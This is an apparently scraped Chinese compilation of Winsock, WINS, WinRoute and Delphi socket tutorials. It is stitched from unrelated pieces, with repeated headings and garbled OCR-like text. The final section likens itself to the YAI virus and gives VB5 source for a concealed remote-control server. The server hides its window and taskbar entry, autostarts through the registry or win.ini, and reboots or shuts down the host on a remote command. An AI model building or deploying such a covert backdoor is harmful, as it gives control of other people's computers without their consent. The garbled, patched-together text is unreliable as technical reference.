它提供了许多工具和解决方案,帮助测试人员检测应用程序的稳定性和性能,同时提供了一种方便的方式来测试网络应用程序。

这些特性使得WINSOCK成为一种非常有用的网络编程接口,有助于加快网络应用程序的开发和调试。

WinSock的使用

WinSock的使用

WinSock控件能够通过UDP协议(用户数据报协议)或TCP协议(数据传输协议)连接到远程的机器并进行数据交换。

这两种协议都能用来创建客户端和服务端应用程序。

就像定时器控件一样,WinSock控件运行时没有一个可视的界面。

可能的用途创建客户端应用程序,它能在信息到达中央服务器之前把用户的信息收集起来。

创建服务端应用程序,它能作为来自多个用户的数据一个集中处理点。

创建“聊天”程序。

协议的选择当我们使用WinSock控件时,首先要确定的是使用TCP还是UDP协议。

它们之间主要的区别在于连接状态:TCP协议控件是一个基于连接的协议,就像电话机一样,用户必须在通话之前建立连接;UDP是一个无连接的协议,两台计算机之间的事务处理就像传纸条一样:一台计算机向另一台计算机发送消息,但是它们之间并没有一个明确的连接路径。

另外,发送的单个信息量的大小取决于网络。

通常,你要创建的应用程序的类别就决定了你要选择的协议。

以下是几个能够帮助你选择合适的协议的问题:当发送或接收数据时,该应用程序需要从服务端或客户端获得认证吗?如果要的话,那么TCP协议就正好需要在发送或接受数据前建立明确的连接。

要发送的数据量大吗?(就像图片、声音文件之类)一旦建立了连接,TCP 协议就会保持连接并保证数据的完整性。

但是,这种连接会占用的更多的处理器资源,成本也会更高一些。

数据是陆续传输的,还是一次全部传完呢?比如,如果你要创建的应用程序在某些任务完成时会告知具体的计算机,那么选择UDP协议会更合适一些。

UDP 协议也更适合于发送小量数据。

协议的配置配置你的应用程序所用到的协议:在设计阶段,单击工具窗口里的协议,选择sckTCPProtocol或sckUDPProtocol。

你也可以在代码里配置协议,就像下面这样:=sckTCPProtocol确定你的计算机名要连接到远程的计算机,你必须知道它的IP地址或别名。

IP地址是一串用句点分隔的3位数字。

netsh winsock reset什么意思

netsh winsock reset什么意思

netsh winsock reset什么意思
netsh winsock reset命令的含义是重置Winsock目录。

当执行这个命令后,可以重新初始化网络环境,以解决由于软件冲突、病毒原因造成的参数错误问题。

netsh是一个能够通过命令行操作几乎所有网络相关设置的接口,比如设置IP、DNS、网卡、无线网络等。

Winsock是系统内部目录,也是Windows网络编程接口,它工作在应用层,提供与底层传输协议无关的高层数据传输编程接口。

请注意,执行完netsh winsock reset命令后,需要重新配置IP。

此外,在执行此命令之前,请确保了解其具体含义和可能的影响,以避免不必要的麻烦。

如有需要,建议咨询计算机或网络专家。

Winsock介绍

Winsock介绍

Winsock介绍1.Winsock控件的介绍Winsock控件的作用简单说就是可以用于两台或多台机器间通信,这里不多说这个控件的作用了,因为在以后的介绍中我们会了解到这个控件的强大功能的,如可以用来做聊天软件等……废话不多说,来看看他有些什么重要的属性、方法和事件吧!在VB6.0中的工具箱里默认情况下是没有这个控件的,添加方法如下:在工具箱上右击,选择[部件],然后在部件对话框中选择"Microsoft Winsock Control 6.0",后确定即可。

如果没有这个复选框的话,请点击[浏览]按钮后在打开的[添加ActiveX控件]对话框选择MSWINSCK.ocx后选择打开,再点确定即可。

Winsock控件在工具箱中图标为。

Winsck的主要属性:属性名说明BytesReceived 返回接收的数据,可以用GetData方法来获取它LocalHostName 返回本机名LocalIP 返回本机IPLocalPort 返回或设置本机所用的端口,如果为0则为随机产生Protocol 返回通信所用的协议RemoteHostName 返回通信对方的计算机名RemoteHostIP 返回通信对方的IPState 返回Winscok的当前状态,取值如下∙sckClosed(常量为0):关闭状态∙sckOpen(常量为1):打开状态∙sckListening(常量为2):侦听状态∙sckConnectionPending(常量为3):连接状态∙sckResolvingHost(常量为4):解析主机中∙sckHostResolved(常量为5):已解析主机∙sckConnecting(常量为6):正在连接∙sckConnected(常量为7):已经连接∙sckClosing(常量为8):客户端正在关闭∙sckError(常量为9):连接发生错误Winsock的主要方法:方法名作用listen 使服务器程序处于侦听状态,等待客户端的连接请求connect 用于客户端向远程发送一个连接请求,语法:Winsock.connect [IP,Port]Accept 用于服务器接收一个远程客户端的连接请求,语法:Winsock.Accept requestIDsendData 用于向远程发送数据,语法:Winsock.sendData 数据getData 用于接收远程发送来的数据,语法:Winsock.getData 变量Close 关闭通信Winsock的主要事件:事件名说明Connect 当服务器接收客户端请求时,服务端发生的事件DataArrival 有数据到达时发生的事件,可以在这个事件中来getData发送来的数据ConnectionRequest 客户端用Connect方法时服务器发生的事件,可以在这个事件中来Accept一个连接请求SendProgress 发送数据中发生的事件,可以在这个事件中来标示当前已经发送多少数据SendComplete 发送数据完成发生的事件Error 通信发生错误时发生的事件Close 关闭通信时发生的事件这节我们详细介绍了Winsock控件的属性、方法和事件等,只要拥有这些,我们就可以编很多功能强大的软件了。

VBWinsock的属性和方法

VBWinsock的属性和方法

VBWinsock的属性和方法Winsock的方法属性Winsock 控件对用户来说是不可见的,它提供了访问TCP 和UDP 网络服务的方便途径。

Microsoft Access、Visual Basic、Visual C++ 或 Visual FoxPro 的开发人员都可使用它。

为编写客户或服务器应用程序,不必了解TCP 的细节或调用低级的 Winsock APIs。

通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去,并且还可双向交换数据。

一、TCP 基础数据传输协议允许创建和维护与远程计算机的连接。

连接两台计算机就可彼此进行数据传输。

如果创建客户应用程序,就必须知道服务器计算机名或者IP 地址(RemoteHost 属性),还要知道进行“侦听”的端口(RemotePort 属性),然后调用Connect 方法。

如果创建服务器应用程序,就应设置一个收听端口(LocalPort 属性)并调用Listen 方法。

当客户计算机需要连接时就会发生ConnectionRequest 事件。

为了完成连接,可调用ConnectionRequest 事件内的 Accept 方法。

建立连接后,任何一方计算机都可以收发数据。

为了发送数据,可调用SendData 方法。

当接收数据时会发生 DataArrival 事件。

调用 DataArrival 事件内的 GetData 方法就可获取数据。

二、UDP 基础用户数据文报协议 (UDP) 是一个无连接协议。

跟 TCP 的操作不同,计算机并不建立连接。

另外 UDP 应用程序可以是客户机,也可以是服务器。

为了传输数据,首先要设置客户计算机的 LocalPort 属性。

然后,服务器计算机只需将RemoteHost 设置为客户计算机的Internet 地址,并将 RemotePort 属性设置为跟客户计算机的 LocalPort 属性相同的端口,并调用 SendData 方法来着手发送信息。

Windows Internet 名称服务 (WINS) 概述

Windows Internet 名称服务 (WINS) 概述

Windows Internet 名称服务(WINS)概述应用到: Windows Server 2008Windows Internet 名称服务(WINS) 是一项计算机名称注册及解析服务,可将计算机NetBIOS 名称映射到IP 地址。

如果在网络中部署WINS 服务器,终端用户可以通过名称而不是难记的IP 地址来访问网络资源。

此外,在计算机和其他设备上运行的软件和其他服务可对WINS 服务器执行名称查询,以将名称解析成IP 地址。

WINS 服务器所提供的功能WINS 提供以下功能,用于管理基于TCP/IP 的网络:∙∙对名称到地址数据库的集中化管理,降低了管理Lmhosts 文件的需求。

∙减少子网上基于NetBIOS 的广播流量,通过允许客户端查询WINS 服务器来直接定位远程系统。

∙支持网络上早期的Microsoft® Windows® 和基于NetBIOS 的客户端,通过允许这些客户端类型来浏览远程Windows 域列表,而不必要求每个子网上均存在本地域控制器。

∙支持基于DNS 的客户端,实施WINS 查找集成时,通过允许这些客户端来定位NetBIOS 资源。

WINS 客户端的名称解析是所有Microsoft TCP/IP 上的NetBIOS (NetBT) 客户端使用的同名解析过程的扩展,用于解析网络上的NetBIOS 名称查询。

名称解析的实际方法对用户是透明的。

对于Windows XP 和Windows 2000,使用net use或类似于基于NetBIOS 的应用程序进行查询后,WINS 客户端使用以下选项的顺序流来解析名称:1.确定名称是否多于15 个字符或是否包含句点(".")。

如果多于15 个字符或包含句点,则查询DNS 以获得此名称。

2.确定名称是否存储在客户端的远程名称缓存中。

3.与已配置的WINS 服务器取得联系,以尝试使用WINS 解析此名称。

wins服务器是什么

wins服务器是什么

wins服务器是什么?WINS全称Windows Internet Name Service,即Windows互联网名称服务。

它和DNS一样,都是用来将主机名转换成IP地址的。

但在互联网解析主机名的是DNS,事实上WINS 主要的是用在局域网内缓解网络风暴。

WINS基于计算机的NetBIOS名工作,所以要了解WINS,必须对计算机名、NetBIOS及NetBIOS名有一个初步的认识。

在微软的系统中,任何一台计算机,不论是否联网,都必须定义一个不超过15位的字符作为计算机名,该名在系统安装时指定,如不指定,则由系统随机生成。

设定以后,可在我的电脑—属性—计算机选项卡(WIN2000以上)或网上邻居—属性—标识选项卡中(WINME 以下)查看并管理;如果该计算机处于网络环境下,则该计算机名还必须在网络中保证唯一。

这个计算机名的存在,是实现NetBIOS的前提。

在局域网发展早期,为在个人机上实现网络能力,MS和IBM合作开发了一套网络协议,认为它如同计算机的BIOS一样,将成为最基本的网络访问接口,因此使用了NetBIOS (Network Basic Input/Output System)这个名字。

MS就利用NetBIOS接口开发网络服务器及相应的客户软件,后来,打通NetBIOS和网络物理层的各种具体接口的NetBEUI (NetBIOS Extend User Interface)又开发成功,成为NetBIOS的增强版。

它直接控制Token Ring(令牌环)和Ethernet(以太网)驱动程序,使之只能运行于局域网,其缺点是不支持路由,要在大型的或路由式的网络间通信,必须使用基于路由的传输机制(一般是TCP/IP)加以补充,叫做NetBIOS over TCP/IP(NetBT),意为运行于TCP/IP基础上的NetBIOS。

WIN2000以下的计算机强制使用NetBIOS名;WIN2000以上的计算机为了在网络中和WIN2000以下的计算机保持通信,保留NetBIOS名。

完整版,winRout使用说明

完整版,winRout使用说明

现在网络共享软件很多,主要分代理服务器和软网关两种方式,代理服务器是使得一个整个计算机网络同时共享一个(或多个)连接,其中代理服务器最典型是Win gate o而软网关方式是在一台计算机上设置一个软网关,利用软网关来完成上网数据的转换和中继的任务,客户机可通过这个网关上网。

此种方式较上一种方式,设置比较简单,而且对主机的硬件要求也不高,很适合国内用户使用。

此类软件有Sygatex Win Route等。

其中Win Route在这类软件的功能是最强大,其易用性、安全性、强壮性最好。

一、Win Route Pro的主要功能Win Route Pro是一个集路由器、DHCP艮务器、DNSK务器、NAT防火墙于一身的代理服务器软件,同时它还是一个可以应用于局域网内部的邮件服务器软件,所以Win Route Pro 不但可以实现局域网内的所有微机共享一个In ternet连接(连接方式包括MODEMISDN xDSL DDN DirecPC等),而且可以实现局域网内部的邮件管理,实现局域网与In ternet之间的邮件交换。

该软件安装使用非常简单,仅需在服务器安装即可。

设置选项交互性好,且有内置缓存功能,使访问速度大大提高。

Win Route是应用于局域网共享In ternet连接的场合(如家庭)的佳品!该程序功能强大,最实用的就是通过设置软网关在局域网共享,还能够多人共享同一个email帐号而且互不干扰,它还具备以下许多特色的功能。

1、可以作为本地局域网的一个简单的域名服务器,包含了一个DNS的缓存,还可以转发DNS域名查询信息。

2、可以端口映射实现反向代理功能,让外部访问受NAT保护的内部网络所提供的一些服务。

3、它具有路由器的寻径功能,让局域网里的多台计算机使用同一个IP地址访问因特网,还能对外来访问进行隔离,起防火墙作用,自动保护内部网络不受到外部的攻击。

4、该软件支持基于IP地址的过滤和限制,提供限制可访问的URL的安全功能。

Serversocket和Clientsocke的属性、方法、事件

Serversocket和Clientsocke的属性、方法、事件

Delphi Sockets程序设计ClientSocket和ServerSocket,它们对Winsock的API进行了很好的封装生成了TclientSocket 和ServerSocket两个类(控件)。

通过这个两个控件,可以很方便得生成TCP/IP网络应用程序。

TClientSocket类是客户端的Socket类,通过它可以与服务程序建立TCP连接,并进行数据交换。

TserverSocket是服务端的Socket类,通过它,应用程序可以提供TCP网络服务,等待用户连接,并在连接后进行数据交换。

以下是对两个控件进行介绍。

ClientSocket简介ClientSocket是封装了作为客户端的Socket的一个控件,当在应用程序的Form中加入了控件之后,就可以选择所要连接的Server,需要Server提供什么样的服务。

当设定好参数之后,就可以开始和Server建立连接了。

连接建立好之后就可以通过ClientSocket和ServerSocket 交换数据了。

交换数据之后可以断开连接。

TClientSocket的类继承关系如下:TobjectTpersistentTcomponentTcustomSocketTClientSocketTcustomSocket把WinSock的API已经封装好了,包含了WinSock的初始化、退出的环境清理、API的调用既网络事件的消息响应等。

ClientSocket的属性(1)Active类型:布尔型表示是否建立连接;(2)Address类型:string建立连接后不可更改,更改后引发一个EsocketError异常。

如果设定了host属性,则address将会被忽略。

(3)ClientTypeCtNonBlocking,就是允许Socket异步的处理读写事件Ctblocking读写操作是同时进行的。

(4)Host用于指定域名或IP同样在连接时,改变Host属性会产生一个EsocketError的异常。

WinSock控件及WinSockAPI的使用

WinSock控件及WinSockAPI的使用

二,WinSock控件的使用1.WinSock控件的主要属性a.Protocol属性通过P rotoc ol属性可以设置WinSock控件连接远程计算机使用的协议。

可选的协议是TCP和UDP对应的V B的常量分别是sckTCPProtocol和sckUDPProtoc ol,Wins oc k控件默认协议是TCP。

注意:虽然可以在运行时设置协议,但必须在连接未建立或断开连接后。

b.SocketHandle属性Soc ketHandle返回当前s ocket连接的句柄,这是只读属性。

c.RemoteHostIP属性RemoteH ostIP属性返回远程计算机的I P地址。

在客户端,当使用了控件的C onnect方法后,远程计算机的I P地址就赋给了RemoteH ostIP属性,而在服务器端,当C onnec tReques t事件后,远程计算机(客户端)的I P地址就赋给了这个属性。

如果使用的是U DP协议那么当DataArrival事件后,发送U DP报文的计算机的IP才赋给了这个属性。

d.ByteReceived属性返回当前接收缓冲区中的字节数e.State属性返回WinSoc k控件当前的状态常数值描述s ckC los ed 0缺省值,关闭。

Sc kOpen 1打开。

Sc kListening 2侦听s ckC onnec tionPending 3连接挂起s ckRes olvingH ost 4识别主机。

s ckHos tResolved 5已识别主机s ckC onnec ting 6正在连接。

s ckC onnec ted 7已连接。

s ckC los ing 8同级人员正在关闭连接。

s ckE rror 9错误2.WinSock主要方法a.Bind方法用Bind方法可以把一个端口号固定为本控件使用,使得别的应用程序不能再使用这个端口。

b.Listen方法Lis ten方法只在使用TCP协议时有用。

winsock使用手册

winsock使用手册

winsock使用手册Winsock是Windows Socket的缩写,它是一种提供网络编程接口的技术,用于在Windows操作系统上进行网络通信。

本手册将介绍Winsock的基本概念、API函数和使用方法,帮助读者快速上手Winsock编程。

一、Winsock简介Winsock是Windows操作系统提供的一种网络编程接口,它允许开发人员创建基于TCP/IP协议的应用程序,并实现网络通信。

Winsock使用C语言提供了一组API函数,方便开发者进行网络编程。

二、Winsock的基本概念1. Socket在Winsock中,Socket是一个抽象概念,代表一个网络通信的端口。

开发者可以通过创建Socket建立与其他计算机的连接,并发送和接收数据。

2. 协议族Winsock支持多种协议族,常用的有AF_INET(用于互联网通信)和AF_INET6(用于IPv6通信)。

3. 协议类型协议类型定义了数据传输的特性,常见的协议类型有SOCK_STREAM(流式套接字,提供可靠的、面向连接的通信)和SOCK_DGRAM(数据报套接字,提供无连接的通信)。

4. IP地址与端口在Winsock中,IP地址用于标识网络上的计算机,端口用于标识一个应用程序,在计算机上可以同时运行多个应用程序,通过端口来区分不同的应用程序。

三、Winsock API函数1. WSAStartupWSAStartup函数用于初始化Winsock库,并指定所需的版本。

2. socketsocket函数用于创建一个套接字,返回一个套接字描述符。

3. bindbind函数用于将一个套接字与特定的IP地址和端口绑定。

4. listenlisten函数用于使一个套接字进入监听状态,等待客户端的连接。

5. acceptaccept函数用于接受客户端的连接请求,并创建一个新的套接字用于与客户端进行通信。

6. connectconnect函数用于与服务器建立连接。

winsocke的属性及用法

winsocke的属性及用法

VB 中WINSOCK 控件的另一用法(转)YAI 这个病毒,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。

其实在VB5中有一个基于TCP\IP 协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回 YAI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。

打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中了。

远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。

服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。

因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置 RemoteHost 和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。

下面是Winsock 控件的相关属性,方法和事件。

(略去一些暂用不到的)*属性------------------------------------------------------------------------- LocalHostName | 本地机器名LocalIP | 本地机器IP地址LocalPort | 本地机器通信程序的端口(0<端口<65536)RemoteHost | 远程机器名RemotePort | 远程机器的通信程序端口state | 连接的当前状态(文后有详细说明)Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)--------------------------------------------------------------------------*方法-------------------------------------------------------------------------- ListenListen方法用于服务器程序,等待客户访问。

WinFoem基本属性介绍

WinFoem基本属性介绍

WinFoem基本属性介绍窗体其是指Windows的窗口,C#中的Windows应用程序是以窗体(Form)为基础的。

1.常用属性(1)Name属性:用来获取或设置窗体的名称。

(2)WindowState属性:用来获取或设置窗体的窗口状态。

(3)StartPosition属性:用来获取或设置运行时窗体的起始位置。

(4)Text属性:该属性是一个字符串属性,用来设置或返回在窗口标题栏中显示的文字。

(5)Width属性:用来获取或设置窗体的宽度。

(6)Height属性:用来获取或设置窗体的高度。

(7)Left属性:用来获取或设置窗体的左边缘的x 坐标(以像素为单位),向右为正方向。

(8)Top属性:用来获取或设置窗体的上边缘的y 坐标(以像素为单位)。

向下为正方向。

(9)ControlBox 属性:用来获取或设置一个值,该值指示在该窗体的标题栏中是否显示控制框。

(10)MaximumBox属性:用来获取或设置一个值,该值指示是否在窗体的标题栏中显示最大化按钮。

(11)MinimizeBox属性:用来获取或设置一个值,该值指示是否在窗体的标题栏中显示最小化按钮。

(12)AcceptButton属性:该属性用来获取或设置一个值,该值是一个按钮的名称,当用户按ENTER 键时就相当于单击了窗体上的该按钮。

(13)CancelButton属性:该属性用来获取或设置一个值,该值是一个按钮的名称,当用户按ESC键时就相当于单击了窗体上的该按钮。

(14)Modal属性:该属性用来设置窗体是否为有模式显示窗体。

(15)ActiveControl属性:用来获取或设置容器控件中的活动控件。

(16)ActiveMdiChild属性:用来获取多文档界面(MDI)的当前活动子窗口。

(17)AutoScroll属性:用来获取或设置一个值,该值指示窗体是否实现自动滚动。

(18)BackColor属性:用来获取或设置窗体的背景色。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
格式:Winsock对象.connect [远程主机IP,远程端口]
Accept
Accept方法用于接受一个连接请求
格式:Winsock对象.accept Request ID
Senddata
此方法用于发送数据
格式:Winsock对象.senddata 数据
Getdata
用来取得接收到的数据
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出
End
MsgBox "端口冲突,退出!", vbOKOnly, "注意!"
End
End If
End Sub
Private Sub Winsock1_Close()
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Listen 注释:关闭连接后继续监听
Case "b" 注释:如为‘b’则关闭计算机
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"
Call Shell(ccom, vbHide) 注释:函数shell来执行命令
Case Else 注释:可以在此加入其他命令
End Select
远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部 分是客户端--控制方。服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后 通过交换信息即可得到相应的服务。因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置 RemoteHost和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。下面是Winsock控件的相关属 性,方法和事件。(略去一些暂用不到的)
Case "a" 注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释:不同机器设置不一样
Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断
Loop
End Function 来自Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String,
RemoteHost | 远程机器名
RemotePort | 远程机器的通信程序端口
state | 连接的当前状态(文后有详细说明)
Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
Close | 远程机器关闭连接时触发
Connect | 连接建立好,可以进行通信时触发(客户端)
ConnectRequest | 有请求连接到达时产生(服务器端)
DataArrival | 有数据到达时触发
Error | 发生错误时发生
SendProgress | 数据传送进度
-----------------------------------------------------------------------------
End Sub
Function curr_win() As String
Dim i As Integer
Dim enstr As String
i = 1 注释:此函数通过读取环境变量来获得Windows目录
enstr = Environ(i)
Do While enstr <> ""
VB 中WINSOCK 控件的另一用法 (转)
YAI 这个病毒,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的 服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCP\IP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回 YAI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标 右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中 了。
格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close
关闭当前连接
格式:Winsock对象.close
*事件
----------------------------------------------------------------------------
If Len(enstr) > 11 Then
If Left(enstr, 11) = "winbootdir=" Then
curr_win = Right(enstr, Len(enstr) - 11)
Exit Do
End If
End If
i = i + 1
enstr = Environ(i)
程序代码如下:
--》服务器端程序(server.exe)
先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False, Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\ Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\ server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。当然也可通过在 VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.
Private Sub Form_Load()
On Error GoTo skip 注释:如此端口已有通信程序则退出
Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
*属性
-------------------------------------------------------------------------
LocalHostName | 本地机器名
LocalIP | 本地机器IP地址
LocalPort | 本地机器通信程序的端口(0<端口<65536)
*方法
--------------------------------------------------------------------------
Listen
Listen方法用于服务器程序,等待客户访问。
格式:Winsock对象.listen
Connect
Connect方法用于向远程主机发出连接请求
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 注释:请求到达时,接受连接
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strget As String
Dim ccom As String
Winsock1.GetData strget 注释:读取到达的数据
Select Case strget
相关文档
最新文档